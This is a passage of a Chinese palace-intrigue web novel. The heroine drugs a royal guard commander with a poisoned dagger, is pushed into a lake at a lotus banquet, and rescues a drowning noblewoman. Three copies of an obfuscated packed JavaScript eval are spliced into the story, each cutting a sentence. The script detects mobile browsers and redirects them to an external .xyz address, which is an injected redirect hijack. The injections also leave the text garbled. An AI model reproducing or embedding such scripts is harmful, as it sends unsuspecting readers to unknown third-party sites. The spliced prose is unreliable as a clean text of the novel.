;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362318|183742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 江昀谨仍是拒绝:“不必。” 见他依旧不为所动,崔宜萝失落极了,微微抿唇道:“我家乡宁州盛产此物,效用极好。或许在旁人眼里,认为表哥前途无量,大有所为。但我只见方才在老夫人院中,表哥偶有揉动额角之举,这才更想将银丹草赠予表哥。” 江昀谨微微抬眸看她,眼底几不可察地闪过一丝惊讶。 崔宜萝装作未觉,作势要收起瓷罐离开,却听他忽道:“宁州?” 崔宜萝不解,仍认真答道:“是,表哥不知我来自宁州吗?那是个山明水秀的好地方,最是宜人。若表哥想去,宜萝可为表哥指明几个好去处。” 江昀谨没有回答,只沉默着,脸上的神情让人猜不明白他在想什么。 几息后,他伸出了手:“给我吧。” 崔宜萝将瓷罐放在他的掌间,指腹不可避免地轻碰到他的,柔软相贴,温热一触即散。 他握住瓷罐,道了句告辞便离开了。 崔宜萝立在原地看着他走远,无声地轻笑。 如她所料,他会收下,银丹草既不贵重,又非什么表示亲密之物,不会坏了他的规矩。最主要的是,他肯定不想她再以此为由寻他。 但他收下的举动,不也是一种纵容?纵容她的一步步迈近。 他眼底永远平静如湖,无情无欲,若有了渴求和挣扎,会是什么样子?被长睫掩盖住的眼里的情绪全部暴露在日光下,又是什么样子? 崔宜萝倒真想看看。 只不过他怎么突然问起宁州来? 姨母不是宁州人,他不知道她来自宁州也属平常。崔宜萝想了一圈,也没找出一个在宁州和他可能有任何关联的人。 但她可以肯定的是,宁州对他而言一定有别的意味。 - 另一厢,江昭月总算迎来出宫的母亲。 “母亲,怎么去了这么久?” 兰蕙有些不自在地笑道:“贵妃娘娘留我商议荷花宴的事呢,她有些地方拿不准,让我帮着参谋参谋。” 江昭月点点头:“对了母亲,这两日我想带表妹出府置办些首饰,好在荷花宴上用。我今日才知晓,表妹那继母……” 她絮絮叨叨的说着,却见兰蕙微愣。 她疑惑问:“怎么了母亲?难道你原本没打算带上表妹吗……” 兰蕙回过神,摇头笑说:“自然是要带的,我只是没想到你已经和宜萝说了。去吧,记我账上就行,记得多带些护卫。” 江昭月听到不用自己出钱后更是笑逐颜开:“多谢母亲,母亲说的是,那些山匪还没抓到呢,不过青天白日的,人多,城中又有城卫巡逻,料他们也不敢动手,我会安全带表妹回来的。” “是,他们不敢动手的。”兰蕙道。 江昭月准备出门要穿什么衣服,满心欢喜地离开了。兰蕙彻底卸下笑容,眼神疲惫不堪。 - 月上柳梢头,寂静庭院内,颀长身影如一尊石像久久矗立在连翘树下,月光将影子拉得极长。 闻风担忧上前:“公子,您已经站了很久了,担心着凉。可是今日二殿下吩咐的事……让公子为难了?” 他能隐隐看得出来,表姑娘对公子可不是简单的表兄妹情分,而且他们本来就不是真正的表兄妹。二殿下令公子护住她,公子定然是不乐意的。 江昀谨沉默着,未置可否。 闻风静静站着,见江昀谨久久没有开口的意思,正打算退下,却在这时听到他忽然开口: “闻风,世上有巧合吗?” 闻风不明白他为什么突然问起这个,但仍老实答了:“公子,正所谓‘无巧不成书’,巧合这种事可太多了。” 江昀谨垂眼盯着树根,轻声道:“那缘分呢?” 闻风愣了愣:“您是指……” 江昀谨径直打断:“退下吧。” 7. 金荷酌 两日后风和日丽,是个适宜出门的好日子。崔宜萝脚伤好了不少,走路时已基本不疼,江昭月便将人带了出来。 “衣裳早在你来前,母亲便让人照着你的尺寸去裁了,我们看完首饰顺道去取就行。表妹,你初来京城,便去我常去的抱月阁吧。” 抱月阁位处京城最繁华的地段,素日里接待的皆为高官贵族,因此除了他们带来的江家护卫,楼中亦有不少护卫。 “贵人慢慢挑,有事再唤小人。” 掌柜将她们带入预留好的包间,命人将珍品呈上,又端了些好茶果盘来便退下了。 江昭月拿起几样头簪,愁眉苦脸:“怎么觉得都衬你呢?” 表妹太过美貌,戴什么都好看。 崔宜萝乖顺地任她比划,二人挑了一阵,江昭月饮了不少茶,便带人去恭房了。 崔宜萝看着满桌子首饰,笑意消散,全然看不出方才感兴趣的模样,平静拿起了茶杯。 余光忽出现一抹黑色衣角。 墙角有人? 包间并不算大,靠墙处摆了扇万花盛开屏风以做装点,却方便了贼人藏匿。 护卫守在门口,房内只有她和荔兰二人。 崔宜萝以眼神示意荔兰,荔兰看到那抹衣角后面色一惊,轻轻点了下头后缓缓朝门口挪去。 崔宜萝去握藏在腰间的匕首,假作起身走动,将屏风旁的窗户关上。 忽地,一道厉风响起。崔宜萝迅速拔出匕首。 伴随着男人的一声闷哼,匕首落在厚实地毯上化去了声响。 “站住。” 这话是对荔兰说的,荔兰回头见状登时大惊失色。 只见玄衣男人持锋利长剑抵在崔宜萝喉间。 未握剑的另一只手被匕首刺伤,正血流如注,血滴一点点地坠在地毯上,晕出深痕,男人却恍若不觉。 他眉眼锋利冷峻,浑身散发着令人危惧的杀气,似一头鹰隼一般紧抓着猎物。 男人声色阴沉:“若你开门,我就杀了你家主子。” 说着把剑往崔宜萝脖颈上抵得更深,白皙的肌肤顷刻勒出一道红痕。 荔兰压着惊慌连忙道:“我不开门,公子,你先把我家姑娘放了!” 男人恍若未闻。 崔宜萝垂下眼,盯着他剑刃上的暗云纹,这把剑似乎沾了很多人的鲜血,即便擦拭干净,也散着若有若无的难闻的血腥味。 她平静地问:“你是谁?既知道我的护卫就在门外,还选在房中动手,未免也太大胆了些。” 男人垂目看了她一眼,没想到一个高门贵女被人挟持还能如此镇静。 不过也是,她可不是什么寻常的贵女,哪个贵女出门会随身带着匕首?发现有人藏在房中还能面不改色地让婢女去通知护卫,自己淡定将窗扇关好以防人逃脱的? 更遑论此人出手如此狠厉,可见内心阴狠。 他蹲守在房中观察时间太短,这才被她性子随和的外表蒙骗,选中了她帮手,没想到温和表象下是朵带刺的花。 若不是他反应快,早成了瓮中之鳖。 男人道:“我不想杀你,不过是想让姑娘帮个忙。” “我凭什么相信你?” 男人冷笑:“你现在有和我商量的余地么?” 他看不见崔宜萝脸上表情,却闻她轻笑一声:“那可未必。” 他眉头微皱,潜意识觉出有几分不对劲,正要再问,忽觉浑身发起软来,握剑的手也变得绵软。 匕首上有药! 他脚步凌乱地退后,差点瘫软在地,靠在窗前的红木矮柜上才稳住身形。 他勾起唇角,显出几分阴戾:“倒是我小瞧你了。” 掌控权登时逆转,崔宜萝捡起自己掉落的匕首,抵在了他的喉结。 “体质还不错,这么久才发药。说,谁派你来的?” 男人看着女子凌厉的眉眼,手用力去扯腰间的令牌,嗤笑道:“姑娘,耽误要案的这个罪名,不知你担不担得起?” 看着面前令牌上的龙云图腾,崔宜萝脸色微变。 不过转瞬间,她又恢复为平静的神情,利落将匕首收鞘。 “原是云翊卫的大人,方才我以为是贼人,这才不慎伤了大人。误会一场。” “误会?”男人掀起细长的眼眸,轻嘲一声:“你伤了我又下了药,耽误要案,该当何罪?” 崔宜萝眼底发冷。 云翊卫是皇帝亲自选拔的亲卫,直接听命于皇帝,为皇帝效力,其中权势可见一斑。而眼前这个男人虽未着官袍,但身上的玄衣便服也能看出他地位不低。 崔宜萝从袖中拿出一个瓷瓶丢给他:“解药。” 男人也不意外她的行为,脸上仍带着几分嘲讽。 见他服下,崔宜萝端起标致的笑容道:“方才大人说寻我帮忙,我亦很乐意能帮大人的忙。” “不过在此之后,希望大人不记前嫌。” 男人恢复了力气,以剑抵地站了起来,看着崔宜萝镇定自若地转变态度,阴冷的神色下掠过一丝玩味。 他不置可否,转而说道:“看到掌柜身边的婢女了吗?额头有颗小痣的那个。” 崔宜萝自幼记忆力过人,“记得。” “想办法把人叫进来。” 崔宜萝旋即转身,男人本想再补充句那人性子狡诈,莫被她察觉了,但一想崔宜萝此人更加狡诈,多叮嘱也无必要。 崔宜萝吩咐荔兰:“说我想看些玉佩,请人挑些上来。” 她记得方才那个婢女一直负责端送首饰,从不经手端送果盘吃食,想来是掌柜的左膀右臂,玉佩比之满桌的首饰并不算贵重,又是她而非江昭月唤人,这等小事自不会惊动掌柜。 不过多时,那婢女果然只身端着玉佩前来。 甫一入房,婢女便被男人点了哑穴擒住,她抬手反击向男人胸膛。 二人过了几招,但她显然不是男人对手,男人彻底制住她后从窗边离去。 从窗户跃下前,男人回头看了眼崔宜萝,阴沉墨眸中意味深长。 远远避在一旁的崔宜萝只回以淡笑。 直到人彻底离开,荔兰方脱了力瘫软在地,崔宜萝绷紧的身体也明显放松下来,但脸色仍是低沉如水。 “姑娘,怎么今日这般倒霉撞上了云翊卫!偏偏又将他当成了之前刺杀姑娘的贼人,这可怎么办?他日后不会报复姑娘吧?” 崔宜萝又想起男人离开前看来的那一眼,眼神晦涩道:“到底我帮了他,他若尚有几分信用,便不会明目张胆地为难我。” 荔兰闻言更是面露难色,跟云翊卫讲信用? 崔宜萝谨慎地吩咐:“今日之事你知我知,不可外传。” 荔兰惊魂未定地点点头:“是。” 毕竟除了地毯上留下的男人的几点血迹,整个房间毫无打斗痕迹,亦未惊动任何人。 平静得像什么都没发生过。 崔宜萝心却沉了下去。 她真实的一面暴露了,偏偏还是个她杀不掉的人。 - 翌日便是荷花宴,清乐湖开了一丛又一丛的荷花,荷与叶交相掩映,宴会在湖边的水芝殿举办。 这是崔宜萝到盛京后第一次参宴。 荷花宴盛大,江家几房皆受邀,宴会以赏荷为名,世家高门交际为实。偏厅中已聚了不少人,江家几个姑娘公子自发散开。 兰蕙也免不了要和官家夫人寒暄一番,只得叮嘱女儿照顾好外甥女。 宫中禁卫森严,江昭月倒不担心崔宜萝会有危险,只是怕她因人不生地不熟而拘谨,便带着崔宜萝认识几个贵女郎君。 因着江昭月带着,那些贵女郎君们面上都对崔宜萝显得十分热情,但有几个眼底仍难掩轻蔑。 “来了个这般可人的表妹,竟藏着掖着直至今日才带出来。” 说话的贵女面容清秀雅丽,气质沉静又身着绿裙更显得如雨中清荷一般,周身带着浅淡好闻的草药香,同江昭月看上去很是熟稔。 江昭月笑着打趣:“分明是你不知为何许久未来寻我哥哥,这才未见过表妹。” 其余贵女郎君听到此言,不免揶揄那贵女几句,只见她立刻双颊微红,嗔怒地横了一眼江昭月。 崔宜萝也反应过来,上京前她将盛京中的世家关系背过几遍,与江明训定亲的是与他一同长大的青梅,二人门当户对又情投意合,叫人艳羡。 果真听江昭月道:“宜萝,这是杨太医令之女静菱。” 杨静菱和崔宜萝互相笑着点了点头,这便算正式认识了。 “崔姑娘是宁州人?都说宁州钟灵毓秀,我虽未去过,但方才一见你,便知所言非虚。” 原是杨静菱身侧的贵女主动和崔宜萝搭了话,她面容温婉纯和,看上去十分好相与。 江昭月低声提醒道:“这是谢太尉之女谢曦云。” 原来是她,太尉之女,性子真诚和顺,但有个风流成性的未婚夫婿。 谢太尉作风中正无私,刚直不阿,膝下子女亦是性子刚直,没什么弯弯绕绕。因此即便谢家十分不满谢曦云的未婚夫婿,但因亲事是谢老太爷定下来的,在对方未做出什么出格之事前,他们不会主动退亲,更不会用手段设计退亲。 崔宜萝收到的情报简单表面,高门大宅中的秘辛哪是那么容易便能知晓的?其中隐情是在和江昭月的闲谈中窥见的。 她对谢曦云笑了笑。 谢曦云怔了一瞬,似乎是被她明媚的笑容晃愣了神,回过神来后又觉有些失礼,说话都有些打结:“宜萝此回是来探亲的?不知打算在盛京住多久?” 有些知晓内情的人神情露出一丝嘲讽。 江昭月的表情也凝滞了一瞬,正想着如何打圆场,却听崔宜萝从容淡定道:“日后我应当会长住盛京的,我此行是来盛京备嫁的。” 在场的贵女郎君皆是高门大户,若无相关,并不会特意留心程奉这一小小监丞。不知晓内情的顿时都被勾起了好奇心,对崔宜萝产生了些许心思的郎君们也流露失落。 一郎君问道:“不知是哪家公子如此有福气?” 崔宜萝平静淡笑着回:“是国子监程监丞。” 这事本也瞒不住。 瞬间,意外与惊奇,惋惜与嘲笑混杂在众人脸上,神色各异。谢曦云觉得自己戳到了人伤心处,神色内疚。 杨静菱道:“这……若我未记错,程监丞似乎已年过耳顺?” 江昭月担忧看向崔宜萝,但她仿佛看不出众人目光中的轻蔑或惋惜,只是点了点头。 表妹是在强撑,谁会愿意嫁给年迈又好色的老头? 在场的贵女郎君也都是如此想的,只觉得崔宜萝虽面上从容,但内心定是苦涩难言。 崔宜萝当然捕捉到众人神情里流露出的怜悯。 但这种东西,早在幼时她就不需要了,怜悯是高高在上的人对弱小者施舍的所谓共情,改变不了她的处境,更不会令她产生任何快慰。 不远处突然传来骚动,打破沉闷低压。 崔宜萝随着众人顺目望去,见俊美无俦的男人被几人簇拥着经过,他穿了件霜雪色的圆领锦衣,玉冠将乌发一丝不苟地束起。 许是为着行动方便,江昀谨今日手上戴了护腕,勒出刚劲利落的手臂线条,显出几分沉静下的勃发威势来,在乌泱泱的人群中格外显目。 江昭月疑惑地咦了一声,嘀咕道:“大哥平日里甚少出席这样的场合,今日太阳打西边出来了,怎么破天荒地来了?” 崔宜萝却死死凝在江昀谨身边的人身上。 是抱月阁里的那个人,他们两人怎么会在一起? “表姐,大表哥身边的可是云翊卫?” 江昭月看去,那人未着云翊卫官服,也不知崔宜萝如何认出的,“那是云翊卫指挥使,元凌。” “他与大表哥很熟吗?” 江昭月没听出崔宜萝语气里微不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362319|183742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 察的紧张,摇摇头说:“没听闻过,只是恰好撞见吧。” 话音落下,那人似有所感,望了过来。 目光交触的瞬间,元凌显然也认出她来,玩味地笑了。 崔宜萝正要垂眼避开,却见江昀谨也转目看来。 他清凌眼神中依旧没有什么情绪,崔宜萝却莫名觉得他有些奇怪。但她仍熟练地绽起温婉明丽的笑容。 嘴角还未完全勾起,江昀谨就别过了眼去。 反倒是他身旁的元凌将整个过程都尽收眼底,意味深长地轻挑起了眉。 崔宜萝内心不由得生出几分烦躁。他竟然是云翊卫指挥使,皇帝身边亲信重臣之一,事情比之前还要难办。 但她没有心思盘算,因江昭月这厢已要拉着她去采荷。 荷花宴于申时末才开宴,琼贵妃在湖边置了数艘小舟,为贵女郎君们午后采荷泛舟所用,为了添分意趣,琼贵妃每年还会置些彩头,藏在藕花深处,先到先得。 琼贵妃深得宠爱,私库内皆是世间难得的珍宝,又出手阔绰,是以众人每年都卯足了劲要夺得彩头。 江昭月是个耐不住的性子,见有人率先登船,便也要去采荷。 日光猛烈,映在湖面上被散离为七色,映着红荷绿叶煞是好看。小舟拨开荷花,舟尾在平静的湖面上拉出长长的水痕。 三个女子坐在舟头,打着竹伞遮蔽烈日,江昭月絮絮叨叨地和崔宜萝说着往年的彩头。 “去年的彩头才叫得意呢,那可是西域进贡的五色玉,色泽绚丽,世间罕有,被吏部尚书家的小女儿寻到了,哎,真叫人艳羡!想我前些年也是夺过彩头的,不过到底没那五色玉珍贵好看。” 杨静菱无奈道:“那龟兹进贡的红玛瑙差在何处?你若不要,不妨给我。” “我倒是舍得,只是担心被哥哥责怪抢了他风头。” 崔宜萝含笑听着。 忽地,一株荷花穿过日光飞来,直直落在了崔宜萝怀中。 荷花是刚采下来的,犹带着水珠,冰凉的水珠顺势挥洒到三人面上、衣裳上,将三人都吓了一跳,江昭月险些惊叫出声。 三人下意识往不远处看去。 只见一小巧,却极尽精致华贵的画舫停在她们东北方不过半里的位置,一女子立在船头,笑意盈盈地看着她们。 她约莫十六年纪,头上戴满了华贵宝石,日光之下流光溢彩,细长的脖颈亦佩戴珠璎,但更亮的是那双眼睛,熠熠闪着灵动。 “是和嘉公主。” 江昭月提醒崔宜萝。 崔宜萝早就猜测到,毕竟在宫中,特别是在贵妃所办的赏荷宴上,能装扮得如此华贵的妙龄女子,除了和嘉还会是谁? 和嘉公主萧璎,盛宠十几年的琼贵妃膝下唯一的女儿,亦是皇帝的小女儿,深受宠爱。这位小公主素来喜欢佩戴色泽艳丽的珠宝,衣裳亦喜爱华丽夺目。 只见小公主和身旁为她撑伞遮阳的太监吩咐了句什么,那太监应了声,冲崔宜萝船上掌船的太监打了个手势。 不多时,崔宜萝三人的船便靠上了画舫。 方才吩咐靠船过来的太监将伞交给其他侍候的宫人,笑意盈盈地走到了船边。 “几位姑娘,殿下有请。” 和嘉公主邀约,三人哪有拒绝之理?三人对视一眼,便一一提裙,小心地跨向萧璎的画舫。 崔宜萝走在最后,拿着荷花的手提着裙,另一手撑着竹伞。 倏地一阵风吹过,崔宜萝的竹伞被吹得剧烈晃动一下,连带着她的身子也如天上的风筝般不稳摇晃了一下。 “崔姑娘小心。” 一道拂尘挥来,那太监眼疾手快以拂尘撑住了崔宜萝的手臂。 托着的力道如磐石般稳稳当当,崔宜萝不由抬眼看向那太监。 那太监礼貌地笑着,他穿着枣红太监袍,是位分较高,近身伺候的贴身太监。发端已灰白,皮肤偏白得没有血色,和善的笑容挂在脸上竟有些瘆人。 那厢江昭月两人已在行礼:“见过殿下。” 崔宜萝不动声色地收回视线,随着一同向萧璎行礼。 萧璎笑得两眼弯弯摆手:“免礼。” 萧璎和江杨二人早就相识,打了个招呼后又看向拿着荷花的崔宜萝,问道:“你是刚上任的哪家官员的家眷吗?” 崔宜萝端着标致的笑道明了身份,末了说道:“还未多谢殿下赏的荷花。” 萧璎未因崔宜萝身份寒微而轻视,“方才本宫一眼便看到了你,但距离着实有些远,这才用了抛荷的方式。没吓到你们吧?” 三人中江昭月与萧璎最熟络,“殿下还是这样的性子。” 萧璎笑容更是愉悦,“徐公公,方才崔姑娘说她来自宁州,宁州是在南方么?本宫依稀记得,父皇之前南巡时有经过此处。” 徐公公便是方才来请她们的太监,他无奈道:“殿下,您未离过京,老奴也未离过,您这不是为难老奴吗?” 萧璎又看向崔宜萝,崔宜萝正要回答,又听徐公公笑道:“殿下,外头热,您瞧您都要出汗了,不如带几位姑娘进去坐着吧?” 萧璎回过神:“确是有些热。崔姑娘,里头备了茶水和点心,不如进去说?” “是。” 萧璎的画舫自然比她们的小舟要大上许多,还设有里间,她们的小舟通体敞开,只靠竹伞蔽日,远不如画舫里头凉快。 落座时,萧璎特地命崔宜萝坐在她身侧。 江昭月和杨静菱对视一眼,皆明白萧璎这是很喜欢崔宜萝。 萧璎虽待人热情,但却很少对哪位贵女这么主动,以她的地位和受宠程度,众人主动讨好她还来不及。 果真,坐下后萧璎便拉着崔宜萝闲谈起来,江昭月二人开口次数屈指可数,但二人并不介意,自个儿聊起了旁的。 画舫行了一阵,几人相谈甚欢之时,一声惊叫乍起—— “啊!落水了!快来人!谢姑娘落水了!” 8. 疑念生 有人落水? 众人脸色俱是一变,立刻往传来声音的船尾走。 江昭月惴惴不安:“是曦云?” 杨静菱摇摇头表示未知:“谢二姑娘今日也来了。” 谢曦云未和她们一起采荷,便说是要和家中庶妹一起,落水的谢姑娘也有可能是谢曦云的庶妹。 走出里间到达船尾,但仅能看到大片大片的红荷绿叶以及间隙处波纹不断的水面,穿透丛丛荷花传来女子的挣扎呼救声,听得人一阵胆寒。 开得繁盛的荷花池在此时成了吞噬人的幻洞,崔宜萝只见荷花颤动,瞧不清楚落水之人的身影。 几个贵女站在船头,亦是慌乱惊呼,离湖面最近的一个贵女被宫人强行拉着,急得眼泪簌簌落下。 “别拦我!姐姐!快来人!” 江昭月大惊失色:“是曦云!殿下!可否速速派人下水救人?” 萧璎立刻问船上随侍的宫人太监,得到了他们都不会水的答案,难免惊慌起来:“徐公公,快去叫人来。” “殿下!咱们的船上没有小舟,老奴怎去唤人?” 谢曦云的呼救声已是越发微弱。 清乐湖不小,周围仅有萧璎这一艘画舫,几里之外俱是荷花莲叶,不见一个人影。 若再没人下水,谢曦云怕是要溺死湖中。 崔宜萝面色凝重,其他几人也都意识到这点,神色仓皇,萧璎更急得跺脚:“有没有绳子?不如你们绑了绳子下水?” “有有有,殿下,本是用来捆荷花用的。你们,赶紧去取,你,准备下水。” 徐公公一声令下,宫人忙应了跑去船头,船上登时混乱一片。 谢曦云的呼救声不知在哪一瞬,彻底湮于清乐湖中,众人只闻空灵鸟叫,像是催命符响在耳侧,让人脚底发寒。 船身因宫人太监急促地准备下水而动荡,在湖面上晃晃悠悠,像是站在山道摇晃的绳索上,几人只能互相扶着稳住身形。崔宜萝立在最外侧,看着动静消失的荷花丛中轻微地咬了咬唇,若有所思地往前走了一步。 但她还未踏出去,忽地,一双手在后背狠狠一推—— 崔宜萝来不及往后看,就跌入满面荷叶中。 萧璎看着人在自己眼前落进湖里,急得浑身发颤:“崔姑娘!崔姑娘也落水了!来人!你们快绑好绳子下去!” 即使是夏日,骤然扎入湖水里也如冰锥刺进骨血般疼痛。 琼贵妃喜欢荷花,清乐湖一直被打理得很好,在水中视野还算清晰,崔宜萝不费多少功夫就看到了不远处往下沉的谢曦云。 她抓着几束荷花茎干稳着身子,根茎上的刺扎入柔嫩的掌心里,崔宜萝微微皱眉,稳住身形后朝谢曦云游去。 谢曦云已是意识模糊,崔宜萝托着她从水里钻出来,对上众人又是愕然又是欣喜的脸。 崔宜萝拖着人依旧如一尾鱼般在荷花中灵巧穿梭,就近将人托上了谢曦云的小舟。 方才被宫人强行拉住的贵女立刻扑了过来,差点将崔宜萝又推回水里。 她扑在昏迷的谢曦云身前不住落泪:“姐姐!姐姐你没事吧!你要是出事了我可怎么办?” 谢曦云的妹妹似要哭碎肝肠,几个贵女都忍不住上前安慰她。 萧璎反应迅速地命人摇船过来,让人把崔宜萝二人接回画舫回程。 谢曦云的妹妹哭着不肯放手:“姐姐……” 杨静菱沉着脸一个眼风扫过来:“谢二姑娘,若耽误了你姐姐的病情,你可担当得起?” 谢曦云的妹妹愣在原地,嗫嚅着唇,泪珠半落未落地凝在了眼眶上,但几息后到底松了手。 二人被接入里间。 江昭月担心:“表妹,你可有何不适?” 崔宜萝摇了摇头,看向为昏迷中的谢曦云诊脉的杨静菱。 杨静菱面露难色,收回手转而向谢曦云胸腹按去。 谢曦云面色苍白,发丝凌乱地贴在脸上,已是进气多出气少。杨静菱手中一使力,她立刻吐出不少水来,但人还是未醒。 “需尽快找地方为曦云施针。” 萧璎立刻喊道:“快些!” 底下人知事态严重,不敢怠慢,咬着牙划得飞快,不过多时便到了岸边。 一上岸,几个宫人便去禀报琼贵妃,剩下几人忙着去找衣裳,唤医官,岸上未去采荷的人见状立刻围了过来,霎时将几人围了里三圈外三圈。 “这是怎么了?谁落水了?” 局势乱成一团,表面关怀的众人也是各怀心思。“快将外袍脱了为两位姑娘披上,莫着了凉!” 大祈民风开放,为落水之人披衣是事急从权,并不会惹人非议。几个郎君立刻开始脱外袍,却是存了别的心思,争着要给崔谢二人。 混乱间,崔宜萝在人影间隙中看到了快步走来的江昀谨,她直觉不对,正要细看他的神情,忽地眼前一暗。 一件玄色滚金边的衣袍遮挡住全部视线,将她纤细的身影完完全全地罩住。 她下意识扯下衣袍,却直直对上了上方元凌的眼睛。 他幽邃地看了她一眼,便转身离去了,若不是他的外袍还在,他几乎像是从未出现过。 崔宜萝皱起眉。 “贵妃娘娘到!” 人群中立刻辟出一条道,只见一贵妇人被簇拥着快步走来,她容貌昳丽妩媚却不显艳俗,像是一枝开到极致的芍药。 崔宜萝此前没见过琼贵妃,但光看一眼便知道其身份,只有她会如此华贵又张扬。崔宜萝记起江昭月说的她与贵妃有几分神似的话,又转而看向琼贵妃的容貌。 她还没看上两眼,忽闻兰蕙高声:“宜萝!” 兰蕙跟在琼贵妃身后赶来,担忧得眼眶通红,忙拉着崔宜萝问她情况。 崔宜萝一边回答姨母,一边仍忍不住瞟向琼贵妃和萧璎。只见琼贵妃慌乱地将萧璎拉了过来,仔仔细细地检查一遍,确认毫发无损后才放下心,细声哄起女儿来。 琼贵妃气势张扬凌厉,但面对女儿的时候倒与寻常人家的母女无异。 崔宜萝没有和母亲相处过,但她却见过。她继母的妹妹常带女儿来府上做客,她的这位名义上的姨母说话刻薄,但对女儿却像变了一人,和声细语,半个狠字都不会用。 崔宜萝从过往中回过神来,意识到自己一直盯着贵妃母女瞧太过失态,忙不动声色地挪开了眼。 琼贵妃安抚完女儿,冷冷扫了一眼众人,目光似有若无地崔宜萝身上停留了一瞬。 举办的荷花宴出现了这种意外,无异于是一个巴掌直接打在了她的脸上!琼贵妃上挑的眼尾露出凌厉的怒意:“快带谢姑娘和崔姑娘去偏殿安置,再请医官来。此事是意外或是人为,本宫定要查个水落石出。” - 谢曦云情况比崔宜萝更加严重,被仔细照看了起来。宫女们先取了斗篷来给崔宜萝,再去为她寻合适的衣裳,元凌的外袍被整齐叠好放在一旁的红木矮几上。 兰蕙和江昭月陪着她,方才人多不方便,眼下只有她们三人,兰蕙才道:“宜萝,你怎么那么冲动?姨母知道你心地善良,但救溺水之人凶险万分,你若有个什么万一可怎么办?你是要让姨母愧疚一辈子吗?” 兰蕙听到崔宜萝突然跳下水救人时,吓得差点当场昏过去,眼下惊吓的余韵犹存,心口仍直跳不停,捂着胸口说着又红了眼眶。 江昭月安慰道:“母亲,表妹这不是好好的,你说那么不吉利的话做什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362320|183742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我瞧表妹看着娇弱,实则是深藏不露。” 话音刚落,果不其然被兰蕙瞪了一眼。 这时,宫女们带着医官走进房中。 “江二夫人,江姑娘,贵妃娘娘叫所有人去正殿。” 显然,琼贵妃不信谢曦云落水是意外,决意要彻查今日之事。 兰蕙神色犹豫,她放心不下崔宜萝,打算拒绝。 领头的宫女见状着急道:“娘娘吩咐一人也不能少。” 崔宜萝突然开口道:“姨母,您和表姐快去吧,这儿有医官在,姨母不必担心我。” 兰蕙犹豫片刻,最终点了点头,满脸抱歉之色安抚崔宜萝:“宜萝,姨母和你表姐去去便回,你先让医官诊治。” 说完便带江昭月匆匆离去。 偏殿顿时只剩下医官和一个宫女,医官为崔宜萝把过脉后,只说略微受了些寒,并无大碍,接着便由宫女带下去开方子了。 房内空无一人,崔宜萝坐在榻上,纤细的手指随意把玩着斗篷的两条系带。 除了她和谢曦云,所有人都被贵妃叫去正殿了,江昀谨定然也在其中。 她本想用脚伤复发的借口把江昀谨叫来的,但贵妃勒令一个人都不许少,看来此计行不通了。 想起方才江昀谨快步走来的身影,崔宜萝勾着系带转了转眸,她虽然没看清他的神情就被元凌的外袍挡住视线,但她却看清他姿态间的匆忙。 今日发生太多的事,盛京中高门大户的勾心斗角可窥见一隅。平和下的浪潮翻涌,落水的谢曦云,船上惊慌的贵女和宫人,还有那个想杀她的人,在混乱之中顺水推舟地对她动手了。 崔宜萝眼底幽沉。 门外突然响起脚步声,脚步沉稳有力,是个男人,不是刚才那个宫女。 崔宜萝神色立刻锋锐冷厉,迅速握上腰间的匕首。 她转身便下了榻,身子侧贴在槅扇门上,十足的防御姿态。 谢曦云就在不远处,那儿一定有不少人照看,她只需能拖延时间在宫女赶来之前抵御住人。没准还能顺势抓到要杀她的幕后之人。 她胸腔内难以抑制地涌起颤动,总觉得解开对她一再下手的幕后之人谜团,有什么深埋在黑暗中的东西会重见天日。 那人为什么要杀她呢?她身上究竟有什么他们想要得到的东西? 脚步声越来越近,离入房只有几步之遥。 匕首微微出鞘,泛起的冷冷寒光映在崔宜萝面颊上。 那人走了进来,崔宜萝透过槅扇门的间隙瞧清了来人。 她反应极快地将匕首往腰后一收,借斗篷挡住,动作行云流水地转身从槅扇门后绕了出来,眸里盛满了秋水,像是方才闪着日光的湖水留在了她漂亮的眼睛里。 “表哥。” 江昀谨走近几步,目光在她的斗篷上顿了顿。 随后他又面色如常地开口:“我有事要问你。” 崔宜萝问出心里的猜想:“表哥这个时候来寻我,是贵妃娘娘命表哥查明今日之事?” 他不置可否,面色沉了几分,显出几分锐利:“今日你为何会落水?” 崔宜萝眨了眨眼:“表哥未听说吗?我救了谢姑娘。” 江昀谨盯着她:“是你自己主动下水救人的?” 崔宜萝神色一凝。 他怎么会知道? 两艘船上的所有人都以为是她主动跳下水救人,即便是离她最近、以为她是掉进湖里的萧璎,看到她将谢曦云救上岸后,也转以为她是自己下水救人的。 而江昀谨根本不在场,为什么会怀疑她是被人推下去的? 而且他是如何从正殿离开的? 崔宜萝映着细碎日光的眼睛折射出一分凌厉。 9. 池岸春 他显然知道些什么,甚至,他和那幕后之人有关。 